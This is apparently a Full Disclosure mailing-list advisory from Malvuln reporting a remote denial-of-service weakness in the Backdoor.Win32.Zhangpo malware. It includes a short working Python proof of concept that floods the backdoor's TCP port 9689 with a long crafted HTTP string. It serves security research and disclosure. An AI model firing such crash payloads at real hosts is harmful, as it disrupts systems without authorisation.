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Message-ID: <CAAHK0WTEkeHqPUJJ24kyN1qTEcK6sL0DnZuGJLOr-5_v0hrnGg@mail.gmail.com>
Date: Thu, 28 Jan 2021 20:11:35 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zhangpo / Remote DoS

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/052d18e119f9a2910ed18a137231a041.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zhangpo
Vulnerability: Remote DoS
Description: Zhangpo listens on TCP port 9689, sending a special
character as a long string HTTP payload will DoS the backdoor.
Type: PE32
MD5: 052d18e119f9a2910ed18a137231a041
Vuln ID: MVID-2021-0058
Disclosure: 01/28/2021

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=9689

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PaCOLA =  "GET / HTTP/1.0 " +";&#235"*10000

    s.send(PaCOLA)
    s.close()

    print("Backdoor.Win32.Zhangpo / Remote DoS");
    print("MD5: 052d18e119f9a2910ed18a137231a041");
    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
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otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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